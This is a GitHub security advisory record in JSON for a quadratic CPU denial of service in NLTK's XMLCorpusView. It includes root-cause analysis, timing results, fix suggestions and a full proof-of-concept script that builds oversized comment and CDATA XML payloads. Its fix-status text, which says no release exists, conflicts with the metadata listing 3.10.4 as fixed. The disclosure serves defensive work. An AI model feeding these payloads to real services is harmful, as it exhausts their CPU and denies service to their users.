{"id":"GHSA-j8g8-j4j7-8j54","summary":"NLTK: XMLCorpusView comment and CDATA parsing permits quadratic CPU denial of service","details":"\u003e **affected**: PyPI `nltk` `\u003e= 3.6` — `nltk.corpus.reader.xmldocs.XMLCorpusView` streaming read (and the `nps_chat` / `framenet` readers built on it)\n\u003e **dynamically reproduced**: `3.6` (6/6 checks), `3.9.2` (6/6), `3.10.3` (6/6) and `develop` `6818767b9` (6/6)\n\n---\n\n_Source references (`nltk/corpus/reader/xmldocs.py:NNN`) are to commit `6818767b99c24659107eb2be9bccd32a3d4bf045` (`develop`, `v3.10.3-15-g6818767b9`). The released `v3.10.3` wheel's `xmldocs.py` is byte-identical to that commit, so the same line numbers apply to the released wheel._\n\n### Summary\n\n**An attacker who can make a victim read a well-formed XML corpus file whose body contains one large comment or CDATA section can pin a CPU core for a time quadratic in the file size, because `XMLCorpusView._read_xml_fragment` (`nltk/corpus/reader/xmldocs.py`) re-runs a linear whole-buffer validation after every 1 KiB block while the comment/CDATA terminator is still ahead.** `XMLCorpusView` is NLTK's documented streaming API for XML corpora and is instantiated directly by the `NPSChatCorpusReader` and `FramenetCorpusReader` readers; the module header (`xmldocs.py:16-20`) explicitly handles untrusted corpus XML. The `in_tag` guard added to this function for GHSA-vp2x covers only a single oversized `\u003c...\u003e` tag and leaves the CDATA/comment path quadratic in the current release.\n\n### Details\n\nRoot cause: `_read_xml_fragment` (`xmldocs.py:273-338`) accumulates the file into one `fragment` string in `_BLOCK_SIZE` (1024) character chunks (`xmldocs.py:123, 298-299`). After every block that is not yet a well-formed prefix, the fragment is re-validated against `_VALID_XML_RE`. Two whole-buffer operations dominate:\n\n```python\n# xmldocs.py:308\nif not in_tag and self._VALID_XML_RE.match(fragment):      # whole-buffer match (O(len))\n    return fragment\n# xmldocs.py:312\nif re.search(\"[\u003c\u003e]\", fragment).group(0) == \"\u003e\":            # O(1) for this input class:\n    ...                                                     # the document starts with '\u003c'\n# xmldocs.py:329\nif self._VALID_XML_RE.match(fragment[:last_open_bracket]): # whole-buffer prefix match (O(len))\n    ...\n```\n\nFor this input class the `re.search` probe at `xmldocs.py:312` is O(1): the fragment always starts with `\u003c` (e.g. `\u003croot\u003e…`), so the first `\u003c`/`\u003e` character is at offset 0 and it never contributes cost. The quadratic cost comes entirely from the two whole-buffer regex matches at `xmldocs.py:308` and `xmldocs.py:329` (the latter scans the buffer up to the most recent `\u003c`, which for this input sits near the end of the buffer).\n\n`_VALID_XML_RE` (`xmldocs.py:238-249`) is a *linear* regex (its tempered-dot comment/CDATA bodies `(?:(?!--\u003e).)*` / `(?:(?!\\]\\]\u003e).)*` scan left-to-right in O(length) — confirmed by the embedded script's single-match check), but for a fragment whose terminator is far ahead the *match itself fails after scanning the whole buffer*. With an unclosed-across-blocks CDATA or comment, **every one of the n/1024 blocks** pays O(current buffer length) on lines 308 and 329, for a total of ~O(n²) character operations.\n\nThe `in_tag` guard added for GHSA-vp2x (`xmldocs.py:283-305`) tracks only bare `\u003c`/`\u003e` characters: it is `True` inside an unclosed `\u003c...\u003e` tag and, in that state, skips only the line-308 match. It never represents \"the fragment sits inside an unclosed CDATA or comment\" — XML allows arbitrary `\u003c`/`\u003e` inside those constructs — so both the line-308 match and the line-329 backtrack match still fire on every block for a CDATA/comment fragment. The comment block at `xmldocs.py:283-289` even documents the intended linearity contract (\"re-running it on every 1 KiB block otherwise makes a single oversized tag O(n^2) (CWE-407)\"); the guard implements it for the tag branch only.\n\nThe single-match cost is linear, not super-linear: the embedded script measures `_VALID_XML_RE.match()` on 512 KiB → 1 MiB → 2 MiB unclosed-CDATA buffers and gets ≈ 0.074 s → 0.142 s → 0.280 s (≈ 1:1.9:3.8, i.e. linear), asserting the 4× ratio stays well below the quadratic bound. The quadratic total therefore comes from re-running those linear matches per block — the exact CWE-407 pattern the in-tag guard was introduced to eliminate.\n\n**Version nuance** (all dynamically verified):\n\n- **`3.10.3` / `develop` (guard present)**: the pinned regex validates CDATA correctly, so both the comment and the CDATA attack documents read successfully and return; both scale super-linearly (t(4n)/t(n) ≈ 13-16; linear would be ≈ 4). The oversized single-tag control reads linearly (ratio ≈ 4.0), proving the quadratic cost is specific to the unguarded CDATA/comment path.\n- **`3.6` / `3.9.2` (pre-guard)**: these releases use a *lazy* `_VALID_XML_RE` whose CDATA alternative `\u003c![CDATA[.*?]]\u003e` never matches (the `[CDATA[.*?]` substring is parsed as a character class), so a CDATA document is rejected with `ValueError: Unexpected end of file: tag not closed` after the quadratic scan — a separate functional defect. The comment variant is a clean well-formed document on these releases and is likewise quadratic (t(4n)/t(n) ≈ 14-16); the oversized-tag control also reads quadratically there (ratio ≈ 16), i.e. the whole unclosed-construct class GHSA-vp2x addressed is unpatched.\n\n### PoC\n\nThe self-checking script embedded at the end of this advisory builds a well-formed XML document whose root holds a large comment containing `\u003c`/`\u003e` characters with no `--\u003e` before the final marker, drives `XMLCorpusView`'s fragment reader at sizes n and 4n, and asserts the doubling ratio is far above linear. It also runs the CDATA variant, a single-match linearity check (proving the regex itself is not the super-linear factor), a linear-control giant tag, a well-formedness check, and a public-API reachability check, exiting non-zero on any failure.\n\n**Scope note**: dynamically run on `3.6`, `3.9.2`, `3.10.3` (released wheels from PyPI / the local 3.10.3 wheel) and `develop` `6818767b9` (checked out source). No releases outside those were run; the `\u003e= 3.6` bound is the oldest release tested. Environment for the recorded runs: CPython 3.10.12, Linux x86_64. Input sizes are 64 KiB vs 256 KiB (attack) and 1 MiB vs 4 MiB (linear control), so a full run takes a few seconds.\n\nLive transcript (recorded run on the `3.10.3` wheel; the `3.6`, `3.9.2` and `develop` `6818767b9` runs are summarized below):\n\n```\n[TIMING] unclosed comment  n=65558 t=0.083s  4n=262166 t=1.070s  ratio=12.9  (n-\u003ereturned)\n[PASS] attack document is well-formed XML (parses with ElementTree)  (both sizes parse; root element tag='root')\n[PASS] unclosed-comment read cost scales super-linearly (t(4n)/t(n) \u003e 10; linear ~4)  (measured 12.9)\n[INFO] in-tag guard present in module: True\n[TIMING] CDATA variant       n=65561 t=0.142s  4n=262169 t=2.169s  ratio=15.3  (n-\u003ereturned)\n[PASS] CDATA variant also super-linear on guard-present build  (measured 15.3)\n[TIMING] single _VALID_XML_RE.match  256KiB=0.0083s  512KiB=0.0741s  1MiB=0.1419s  2MiB=0.2804s\n[PASS] single match scales ~linearly (512KiB-\u003e2MiB 4x input ~4x time; not super-linear)  (measured 4x ratio=3.79)\n[TIMING] oversized tag (control)  n=1048576 t=0.059s  4n=4194304 t=0.242s  ratio=4.1\n[PASS] oversized single tag reads linearly (guard present; t(4n)/t(n) \u003c 8)  (measured 4.1)\n[PASS] public API list(XMLCorpusView(path, '.*')) reads the attack document  (1 item(s) read from 65558-byte document)\nRESULT 6/6 checks passed, 0 failed\n```\n\nOther runs (all 6/6; essential lines only):\n\n```\n3.6  (pre-guard):  comment ratio=15.5 (returned); CDATA -\u003e ValueError; tag control ratio=16.8; single-match 4x ratio=1.19\n3.9.2 (pre-guard):  comment ratio=15.0 (returned); CDATA -\u003e ValueError; tag control ratio=16.8; single-match 4x ratio=0.95\ndevelop 6818767b9:  comment ratio=13.0 (returned); CDATA ratio=15.3 (returned); tag control ratio=3.9; single-match 4x ratio=3.76\n```\n\n(The pre-guard single-match ratios are meaningless — their dead CDATA alternative fails in O(1) — and are reported for completeness only.)\n\n### Impact\n\n- **Type**: CWE-407 / CWE-400 — CPU exhaustion / algorithmic-complexity denial of service on a single untrusted corpus-file read; no confidentiality or integrity impact.\n- **Who is impacted**: any deployment that feeds corpus XML to `XMLCorpusView` (or to the `nps_chat` / `framenet` readers) from a source not fully trusted — the exact \"untrusted input\" threat model in `SECURITY.md`. The input is ordinary, *well-formed* XML; nothing about it is malformed or rejected by any parser.\n- **Attacker requirements**: deliver a well-formed XML file whose body contains a large comment or CDATA section with `\u003c`/`\u003e` characters and the terminator at the end. No privilege and no user interaction are required beyond the *automated* read of the file — the same delivery model as other NLTK resource-loading issues (`SECURITY.md`), where a service, CI pipeline or notebook ingests a corpus file (uploaded, packaged, or fetched by the loader); this justifies `UI:N` and `AV:N` in the score above.\n- **Effect**: measured 256 KiB → ~1.1 s single read; cost scales with the square of the input size (t(4n)/t(n) ≈ 13-16), so a few MiB reaches tens of seconds and tens of MiB reaches minutes of CPU on a single core. Because the file is well-formed and the read eventually succeeds (current releases), ordinary users observe only severe slowdown; a scheduler/job that processes many such files is trivially pinned.\n\n**Suggested fix**: extend the incremental state tracking to CDATA/comment/DOCTYPE like `in_tag` already does for tags: while scanning each newly-read block, also track whether the fragment sits inside an unclosed `\u003c!...` construct (no `]]\u003e` / `--\u003e` / doctype terminator yet), and skip the whole-buffer matches at `xmldocs.py:308` and `xmldocs.py:329` whenever the fragment is provably non-well-formed for that reason — the same behaviour-preserving argument the in-tag guard already documents. Alternatively, only re-validate the newly-read block plus a bounded suffix instead of the whole growing buffer. Add regression tests mirroring the existing `nltk/test/unit/test_quadratic_dos.py` cluster (GHSA-vp2x) with comment and CDATA payloads asserting the doubling ratio stays linear.\n\n---\n\n### Reproduction script (self-contained)\n\n```python\n#!/usr/bin/env python3\n\"\"\"Self-checking reproduction of the NLTK XMLCorpusView algorithmic-complexity\nCPU DoS for unclosed-across-blocks CDATA / comments (O(n^2) read cost).\n\nRoot cause: ``XMLCorpusView._read_xml_fragment`` (``nltk/corpus/reader/xmldocs.py``)\nreads a file in 1024-char blocks and accumulates them into a single ``fragment``.\nAfter every block that is not yet a well-formed prefix, it re-runs a *linear*\npass over the whole growing buffer -- ``_VALID_XML_RE.match(fragment)`` and, when\nit backtracks, ``_VALID_XML_RE.match(fragment[:last_lt])``. (A third probe,\n``re.search(\"[\u003c\u003e]\", fragment)``, is O(1) here because the document starts with\n'\u003c'.)\nFor a fragment that stays \"unclosed\"\nacross many blocks -- a CDATA section or comment whose terminator (``]]\u003e`` /\n``--\u003e``) lies far ahead -- every block costs O(current buffer length), so a\nsingle document of N bytes costs ~O(N^2) character operations. The in-tag guard\nadded for GHSA-vp2x tracks only a bare '\u003c'..'\u003e' tag and is blind to unclosed\nCDATA / comment state, so this class remains quadratic in the current release.\n\nThe attack documents are *well-formed* XML: comments and CDATA may legally\ncontain '\u003c' and '\u003e'.\n\nControls:\n  1. Well-formedness: the attack document parses with ElementTree.\n  2. Linear baseline on the same reader: an oversized *single tag* of the same\n     size reads linearly when the in-tag guard is present (the fixed GHSA-vp2x\n     case). On pre-guard builds it is quadratic too -- reported, not asserted.\n  3. Public API reachability: ``list(XMLCorpusView(path, \".*\"))`` drives the\n     same sink.\n\nAssertions:\n  - attack doubling ratio t(4n)/t(n) must clearly exceed the linear bound (~4).\n  - tag-control doubling ratio must be ~linear (\u003c 8) when the guard is present.\n\nUsage:\n    python3 repro_xmlcorpusview_unclosed_cdata.py\nEnv:\n    PYTHONPATH : site-packages of the nltk version under test (required)\n    NLTK_BODY_SIZE : comment/CDATA body size in bytes (default 65536)\n\"\"\"\nimport io\nimport os\nimport shutil\nimport sys\nimport tempfile\nimport time\n\nimport xml.etree.ElementTree as ET\n\n# Point NLTK's sandbox at a private data root so the public API reachability\n# check below may open its own corpus file (pathsec only trusts data roots and\n# private temp dirs; a shared /tmp is not an allowed root).\n_DATA_ROOT = os.environ.get(\"NLTK_DATA\")\n_CLEANUP_ROOT = None\nif not _DATA_ROOT:\n    _DATA_ROOT = tempfile.mkdtemp(prefix=\"nltk_xmlview_\")\n    os.environ[\"NLTK_DATA\"] = _DATA_ROOT\n    _CLEANUP_ROOT = _DATA_ROOT\n\nfrom nltk.corpus.reader.xmldocs import XMLCorpusView\n\n\ndef elapsed(fn):\n    start = time.perf_counter()\n    fn()\n    return time.perf_counter() - start\n\n\ndef build_comment_doc(body_size):\n    # Well-formed XML: one root, one large comment containing '\u003c' and '\u003e' and\n    # no '--\u003e' before the closing marker.\n    body = (\"a\u003cb\u003cc\u003cd\u003e\" * ((body_size // 8) + 1))[:body_size]\n    return \"\u003croot\u003e\u003c!-- \" + body + \" --\u003e\u003c/root\u003e\"\n\n\ndef build_cdata_doc(body_size):\n    # Well-formed XML: one root, one large CDATA containing '\u003c' and '\u003e' and no\n    # ']]\u003e' before the closing marker.\n    body = (\"a\u003cb\u003cc\u003cd\u003e\" * ((body_size // 8) + 1))[:body_size]\n    return \"\u003croot\u003e\u003c![CDATA[\" + body + \"]]\u003e\u003c/root\u003e\"\n\n\ndef build_unclosed_cdata_prefix(body_size):\n    # The line-308 match input: an accumulating fragment that is still inside\n    # an unclosed CDATA (no ']]\u003e' yet). A distinct body alphabet avoids CPU-cache\n    # reuse with the attack-timing buffers above, which would skew the timing.\n    body = (\"x\u003cy\u003cz\u003cw\u003e\" * ((body_size // 8) + 1))[:body_size]\n    return \"\u003croot\u003e\u003c![CDATA[\" + body\n\n\ndef build_giant_tag(body_size):\n    # Control: a single oversized '\u003ca ...\u003e' tag, no '\u003e' until the very end.\n    return \"\u003ca \" + (\"x\" * body_size) + \"\u003e\"\n\n\ndef guard_present():\n    import nltk.corpus.reader.xmldocs as m\n\n    with open(m.__file__, encoding=\"utf-8\") as fh:\n        return \"in_tag\" in fh.read()\n\n\nview = XMLCorpusView.__new__(XMLCorpusView)\nresults = []\n\n\ndef check(name, cond, detail=\"\"):\n    results.append(bool(cond))\n    print(f\"[{'PASS' if cond else 'FAIL'}] {name}\" + (f\"  ({detail})\" if detail else \"\"))\n\n\ndef read_frag(doc):\n    \"\"\"Drive _read_xml_fragment, tolerating the EOF ValueError that pre-guard\n    releases raise for CDATA-containing documents.\"\"\"\n    try:\n        return view._read_xml_fragment(io.StringIO(doc))\n    except ValueError as exc:\n        return \"ValueError: %s\" % exc\n\n\ndef time_ratio(build, n1, n4):\n    d1, d4 = build(n1), build(n4)\n    t1 = elapsed(lambda: read_frag(d1))\n    t4 = elapsed(lambda: read_frag(d4))\n    return d1, d4, t1, t4\n\n\n# ---- Sizes ---------------------------------------------------------------\nbody = int(os.environ.get(\"NLTK_BODY_SIZE\", \"65536\"))\ntag1, tag4 = 1 \u003c\u003c 20, 4 \u003c\u003c 20  # 1 MiB / 4 MiB (guard-present linear baseline)\n\n# ---- Primary attack: large comment unclosed until its final '--\u003e' ---------\nc1, c4, t1, t4 = time_ratio(build_comment_doc, body, 4 * body)\nratio = t4 / t1\nout1 = read_frag(c1)  # outcome probe (returned string vs ValueError)\noutcome = \"returned\" if isinstance(out1, str) and not out1.startswith(\"ValueError\") else out1\nprint(f\"[TIMING] unclosed comment  n={len(c1)} t={t1:.3f}s  \"\n      f\"4n={len(c4)} t={t4:.3f}s  ratio={ratio:.1f}  (n-\u003e{outcome})\")\ncheck(\n    \"attack document is well-formed XML (parses with ElementTree)\",\n    ET.fromstring(c1).tag == \"root\" and ET.fromstring(c4).tag == \"root\",\n    f\"both sizes parse; root element tag='{ET.fromstring(c1).tag}'\",\n)\ncheck(\n    \"unclosed-comment read cost scales super-linearly (t(4n)/t(n) \u003e 10; linear ~4)\",\n    ratio \u003e 10.0,\n    f\"measured {ratio:.1f}\",\n)\n\n# ---- CDATA variant ---------------------------------------------------------\nhas_guard = guard_present()\nprint(f\"[INFO] in-tag guard present in module: {has_guard}\")\nd1, d4, td1, td4 = time_ratio(build_cdata_doc, body, 4 * body)\ndratio = td4 / td1\ndout = read_frag(d1)\ndoutcome = \"returned\" if isinstance(dout, str) and not dout.startswith(\"ValueError\") else dout\nprint(f\"[TIMING] CDATA variant       n={len(d1)} t={td1:.3f}s  \"\n      f\"4n={len(d4)} t={td4:.3f}s  ratio={dratio:.1f}  (n-\u003e{doutcome})\")\nif has_guard:\n    check(\n        \"CDATA variant also super-linear on guard-present build\",\n        dratio \u003e 10.0,\n        f\"measured {dratio:.1f}\",\n    )\nelse:\n    # Pre-guard releases cannot validate any CDATA (their regex's CDATA\n    # alternative never matches), so the fragment ends in ValueError -- a\n    # separate functional defect; report only.\n    check(\n        \"pre-guard CDATA path ends in ValueError (regex cannot validate CDATA; report-only)\",\n        doutcome.startswith(\"ValueError\"),\n        str(doutcome),\n    )\n\n# ---- Single-match linearity of _VALID_XML_RE ------------------------------\n# The quadratic total comes from re-running a *linear* whole-buffer match on\n# every block, not from the regex itself backtracking super-linearly (a single\n# match would then also blow up with input size). Verify single-match scaling.\n# The assertion uses the 512 KiB -\u003e 2 MiB pair (the 256 KiB size runs ~4x\n# faster in an already-warmed engine, so it is reported but not asserted on).\ndef best_match_ms(buf):\n    view._VALID_XML_RE.match(buf)  # warm-up (cache pattern + char-class state)\n    return min(elapsed(lambda: view._VALID_XML_RE.match(buf)) for _ in range(3))\n\n\nms = {s: best_match_ms(build_unclosed_cdata_prefix(s)) for s in (1 \u003c\u003c 18, 1 \u003c\u003c 19, 1 \u003c\u003c 20, 1 \u003c\u003c 21)}\nprint(f\"[TIMING] single _VALID_XML_RE.match  256KiB={ms[1 \u003c\u003c 18]:.4f}s  512KiB={ms[1 \u003c\u003c 19]:.4f}s  \"\n      f\"1MiB={ms[1 \u003c\u003c 20]:.4f}s  2MiB={ms[1 \u003c\u003c 21]:.4f}s\")\ncheck(\n    \"single match scales ~linearly (512KiB-\u003e2MiB 4x input ~4x time; not super-linear)\",\n    ms[1 \u003c\u003c 21] / ms[1 \u003c\u003c 19] \u003c 6.0,\n    f\"measured 4x ratio={ms[1 \u003c\u003c 21] / ms[1 \u003c\u003c 19]:.2f}\",\n)\n\n# ---- Control: giant single tag on the same reader ---------------------------\nif has_guard:\n    g1, g4, tg1, tg4 = time_ratio(build_giant_tag, tag1, tag4)\n    gratio = tg4 / tg1\n    print(f\"[TIMING] oversized tag (control)  n={tag1} t={tg1:.3f}s  \"\n          f\"4n={tag4} t={tg4:.3f}s  ratio={gratio:.1f}\")\n    check(\n        \"oversized single tag reads linearly (guard present; t(4n)/t(n) \u003c 8)\",\n        gratio \u003c 8.0,\n        f\"measured {gratio:.1f}\",\n    )\nelse:\n    g1, g4, tg1, tg4 = time_ratio(build_giant_tag, body, 4 * body)\n    gratio = tg4 / tg1\n    print(f\"[TIMING] oversized tag (no guard)  n={len(g1)} t={tg1:.3f}s  \"\n          f\"4n={len(g4)} t={tg4:.3f}s  ratio={gratio:.1f}\")\n    check(\n        \"oversized single tag also super-linear pre-guard (report-only)\",\n        gratio \u003e 4.0,\n        f\"measured {gratio:.1f}\",\n    )\n\n# ---- Reachability: the public XMLCorpusView API drives the same sink -------\npath = os.path.join(_DATA_ROOT, \"attack.xml\")\nwith open(path, \"w\", encoding=\"utf-8\") as fh:\n    fh.write(c1)\ntry:\n    items = list(XMLCorpusView(path, \".*\"))\n    check(\n        \"public API list(XMLCorpusView(path, '.*')) reads the attack document\",\n        len(items) \u003e= 1,\n        f\"{len(items)} item(s) read from {len(c1)}-byte document\",\n    )\nfinally:\n    if _CLEANUP_ROOT:\n        shutil.rmtree(_CLEANUP_ROOT, ignore_errors=True)\n\npassed = sum(results)\nfailed = len(results) - passed\nprint(f\"RESULT {passed}/{len(results)} checks passed, {failed} failed\")\nsys.exit(0 if failed == 0 else 1)\n```\n\n\n## Fix status (2026-09-28)\n\nStatus: IN PROGRESS (fix on an open pull request, not yet on develop).\n\nTwo open pull requests carry a fix.\n\nPR: #3753 \"[Do not merge yet] Fix GHSA-8mgp-746c-j5xp: URL-scheme bypass of pathsec.validate_path\", open; head da55cab0e at the time of this note (a develop merge on top of 238f81500, the head on which the verdicts below were measured). Fix commits: cf12a5e6a (XMLCorpusView._read_xml_fragment grows its read window geometrically so an unclosed CDATA or comment is re-scanned O(log n) times; SeekableUnicodeStreamReader.readline searches only the fresh span) and 2acc9bd97 (readline accumulates spans in a list). Probe: nltk/test/unit/security_probes/ghsa_j8g8_j4j7_8j54.py on that PR; verdict on its head: FIXED (readline scales 4.1x over a 4x input).\n\nPR: #3895 \"[WIP] Bound algorithmic-DoS and uncontrolled-recursion vectors (CWE-400/407/674/1333)\", open, head b22ebe144. Fix commit: 002bcf714 (bounds the same two sinks); the #3753 probe run against this head: FIXED (1.6x over a 4x input).\n\nThe probe run against develop 2fa3f48fe: VULNERABLE (readline scales 18.7x over a 4x input).\n\nRelease: none.","aliases":["CVE-2026-128139"],"modified":"2026-11-20T00:00:04.063029644Z","published":"2026-11-19T23:54:59Z","database_specific":{"github_reviewed_at":"2026-11-19T23:54:59Z","nvd_published_at":"2026-11-19T18:18:06Z","cwe_ids":["CWE-400","CWE-407"],"severity":"HIGH","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-j8g8-j4j7-8j54"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-128139"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/9cacbb95d97eaac7debb30d6e7decbe74d2c635f"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/nltk/nltk/releases/tag/v3.10.4"}],"affected":[{"package":{"name":"nltk","ecosystem":"PyPI","purl":"pkg:pypi/nltk"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.6"},{"fixed":"3.10.4"}]}],"versions":["3.10.0","3.10.1","3.10.2","3.10.3","3.6","3.6.1","3.6.2","3.6.3","3.6.4","3.6.5","3.6.6","3.6.7","3.7","3.8","3.8.1","3.9","3.9.1","3.9.2","3.9.3","3.9.4","3.9b1"],"database_specific":{"last_known_affected_version_range":"\u003c= 3.10.3","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-j8g8-j4j7-8j54/GHSA-j8g8-j4j7-8j54.json"}}],"schema_version":"1.9.2","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}]}